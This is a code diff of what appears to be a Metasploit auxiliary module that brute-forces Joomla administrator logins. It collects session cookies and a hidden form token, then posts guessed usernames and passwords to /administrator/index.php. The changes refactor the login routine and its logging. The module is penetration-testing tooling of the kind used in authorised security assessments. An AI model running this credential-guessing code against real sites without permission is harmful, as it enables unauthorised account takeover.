@@ -39,15 +39,13 @@ def initialize
39
39
OptString . new ( 'USER_VARIABLE' , [ false , "The name of the variable for the user field" , "username" ] ) ,
40
40
OptString . new ( 'PASS_VARIABLE' , [ false , "The name of the variable for the password field" , "passwd" ] ) ,
41
41
OptString . new ( 'WORD_ERROR' , [ false , "The word of message for detect that login fail" , "mod-login-username" ] ) ,
42
- OptString . new ( 'REQUEST_TYPE' , [ false , "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)" , "POST" ] ) ,
43
42
OptString . new ( 'UserAgent' , [ true , 'The HTTP User-Agent sent in the request' , 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ] ) ,
44
43
] , self . class )
45
44
46
45
register_autofilter_ports ( [ 80 , 443 ] )
47
46
end
48
47
49
48
def find_auth_uri
50
-
51
49
if datastore [ 'AUTH_URI' ] && datastore [ 'AUTH_URI' ] . length > 0
52
50
paths = [ datastore [ 'AUTH_URI' ] ]
53
51
else
@@ -64,9 +62,10 @@ def find_auth_uri
64
62
} )
65
63
66
64
next unless res
67
- if res . code == 301 || res . code == 302 && res . headers [ 'Location' ] && res . headers [ 'Location' ] !~ /^http/
65
+
66
+ if res . redirect? && res . headers [ 'Location' ] && res . headers [ 'Location' ] !~ /^http/
68
67
path = res . headers [ 'Location' ]
69
- vprint_status ( "Following redirect: #{ path } " )
68
+ vprint_status ( "#{ rhost } : #{ rport } - Following redirect: #{ path } " )
70
69
res = send_request_cgi ( {
71
70
'uri' => path ,
72
71
'method' => 'GET'
@@ -89,27 +88,26 @@ def target_url
89
88
end
90
89
91
90
def run_host ( ip )
92
-
91
+ vprint_error ( " #{ rhost } : #{ rport } - Searching Joomla authentication URI..." )
93
92
@uri = find_auth_uri
94
93
95
- if ! @uri
96
- print_error ( "#{ target_url } No URI found that asks for HTTP authentication" )
94
+ if !@uri
95
+ vprint_error ( "#{ rhost } : #{ rport } - No URI found that asks for authentication" )
97
96
return
98
97
end
99
98
100
99
@uri = "/#{ @uri } " if @uri [ 0 , 1 ] != "/"
101
100
102
- print_status ( "Attempting to login to #{ target_url } ")
101
+ vprint_status ( " #{ target_url } - Attempting to login... ")
103
102
104
103
each_user_pass { |user , pass |
105
104
do_login ( user , pass )
106
105
}
107
106
end
108
107
109
- def do_login ( user = 'admin' , pass = 'admin' )
108
+ def do_login ( user , pass )
110
109
vprint_status ( "#{ target_url } - Trying username:'#{ user } ' with password:'#{ pass } '" )
111
-
112
- response = do_http_login ( user , pass )
110
+ response = do_web_login ( user , pass )
113
111
result = determine_result ( response )
114
112
115
113
if result == :success
@@ -122,113 +120,86 @@ def do_login(user='admin', pass='admin')
122
120
end
123
121
end
124
122
125
- def do_http_login ( user , pass )
123
+ def do_web_login ( user , pass )
124
+ begin
125
+ user_var = datastore [ 'USER_VARIABLE' ]
126
+ pass_var = datastore [ 'PASS_VARIABLE' ]
126
127
127
- @uri_mod = @uri
128
+ referer_var = "http://#{ rhost } /administrator/index.php"
129
+ ctype = 'application/x-www-form-urlencoded'
128
130
129
- if datastore [ 'REQUEST_TYPE' ] == "GET"
131
+ uid , cval , hidden_value = get_login_cookie
130
132
131
- @uri_mod = "#{ @uri } ?username=#{ user } &psd=#{ pass } "
133
+ if uid
134
+ index_cookie = 0
135
+ value_cookie = ""
132
136
133
- begin
134
- response = send_request_cgi ( {
135
- 'uri' => @uri_mod ,
136
- 'method' => datastore [ 'REQUEST_TYPE' ] ,
137
- 'username' => user ,
138
- 'password' => pass
139
- } )
140
- return response
141
- rescue ::Rex ::ConnectionError
142
- vprint_error ( "#{ target_url } - Failed to connect to the web server" )
143
- return nil
144
- end
145
- else
146
-
147
- begin
148
-
149
- user_var = datastore [ 'USER_VARIABLE' ]
150
- pass_var = datastore [ 'PASS_VARIABLE' ]
137
+ uid . each do |val_uid |
138
+ value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ index_cookie ] . strip } ;"
139
+ index_cookie = index_cookie +1
140
+ end
151
141
152
- referer_var = "http://#{ rhost } /administrator/index.php"
153
- ctype = 'application/x-www-form-urlencoded'
142
+ value_cookie = value_cookie
143
+ vprint_status ( "Target #{ target_url } ,Value of cookie ( #{ value_cookie } ), Hidden ( #{ hidden_value } =1 )" )
144
+
145
+ data = "#{ user_var } =#{ user } &" \
146
+ "#{ pass_var } =#{ pass } &" \
147
+ "lang=&" \
148
+ "option=com_login&" \
149
+ "task=login&" \
150
+ "return=aW5kZXgucGhw&" \
151
+ "#{ hidden_value } =1"
152
+
153
+ response = send_request_cgi ( {
154
+ 'uri' => @uri ,
155
+ 'method' => datastore [ 'REQUEST_TYPE' ] ,
156
+ 'cookie' => "#{ value_cookie } " ,
157
+ 'data' => data ,
158
+ 'headers' =>
159
+ {
160
+ 'Content-Type' => ctype ,
161
+ 'Referer' => referer_var ,
162
+ 'User-Agent' => datastore [ 'UserAgent' ] ,
163
+ }
164
+ } )
154
165
155
- uid , cval , hidden_value = get_login_cookie
166
+ vprint_status ( " #{ target_url } -> First Response Code : #{ response . code } " )
156
167
157
- if uid
158
- index_cookie = 0
159
- value_cookie = ""
168
+ if ( response . code == 301 || response . code == 302 || response . code == 303 ) && response . headers [ 'Location' ]
160
169
161
- uid . each do |val_uid |
162
- value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ index_cookie ] . strip } ;"
163
- index_cookie = index_cookie +1
164
- end
170
+ path = response . headers [ 'Location' ]
171
+ print_status ( "Following redirect Response: #{ path } " )
165
172
166
- value_cookie = value_cookie
167
- vprint_status ( "Target #{ target_url } ,Value of cookie ( #{ value_cookie } ), Hidden ( #{ hidden_value } =1 )" )
168
-
169
- data = "#{ user_var } =#{ user } &" \
170
- "#{ pass_var } =#{ pass } &" \
171
- "lang=&" \
172
- "option=com_login&" \
173
- "task=login&" \
174
- "return=aW5kZXgucGhw&" \
175
- "#{ hidden_value } =1"
176
-
177
- response = send_request_cgi ( {
178
- 'uri' => @uri_mod ,
179
- 'method' => datastore [ 'REQUEST_TYPE' ] ,
180
- 'cookie' => "#{ value_cookie } " ,
181
- 'data' => data ,
182
- 'headers' =>
183
- {
184
- 'Content-Type' => ctype ,
185
- 'Referer' => referer_var ,
186
- 'User-Agent' => datastore [ 'UserAgent' ] ,
187
- }
173
+ response = send_request_raw ( {
174
+ 'uri' => path ,
175
+ 'method' => 'GET' ,
176
+ 'cookie' => "#{ value_cookie } "
188
177
} )
189
-
190
- vprint_status ( "#{ target_url } -> First Response Code : #{ response . code } " )
191
-
192
- if ( response . code == 301 || response . code == 302 || response . code == 303 ) && response . headers [ 'Location' ]
193
-
194
- path = response . headers [ 'Location' ]
195
- print_status ( "Following redirect Response: #{ path } " )
196
-
197
- response = send_request_raw ( {
198
- 'uri' => path ,
199
- 'method' => 'GET' ,
200
- 'cookie' => "#{ value_cookie } "
201
- } )
202
- end
203
-
204
- return response
205
- else
206
- print_error ( "#{ target_url } - Failed to get Cookies" )
207
- return nil
208
178
end
209
- rescue ::Rex ::ConnectionError
210
- vprint_error ( "#{ target_url } - Failed to connect to the web server" )
179
+
180
+ return response
181
+ else
182
+ print_error ( "#{ target_url } - Failed to get Cookies" )
211
183
return nil
212
184
end
185
+ rescue ::Rex ::ConnectionError
186
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
187
+ return nil
213
188
end
214
189
end
215
190
216
191
def determine_result ( response )
217
-
218
192
return :abort unless response . kind_of? Rex ::Proto ::Http ::Response
219
193
return :abort unless response . code
220
194
221
195
if [ 200 , 301 , 302 ] . include? ( response . code )
222
-
223
- #print_status("Response Code: #{response.body}")
224
-
225
196
if response . to_s . include? datastore [ 'WORD_ERROR' ]
226
197
return :fail
227
198
else
228
199
return :success
229
200
end
230
-
231
201
end
202
+
232
203
return :fail
233
204
end
234
205
@@ -279,7 +250,8 @@ def get_login_cookie
279
250
280
251
#Get the name of the cookie variable Joomla
281
252
282
- #print_status("cookie = #{res.headers['Set-Cookie']}")
253
+ print_status ( "cookie = #{ res . headers [ 'Set-Cookie' ] } " )
254
+ print_status ( "cookie 2 = #{ res . get_cookies } " )
283
255
res . headers [ 'Set-Cookie' ] . split ( ';' ) . each { |c |
284
256
if c . split ( '=' ) [ 0 ] . length > 10
285
257
uid . push ( c . split ( '=' ) [ 0 ] )
0 commit comments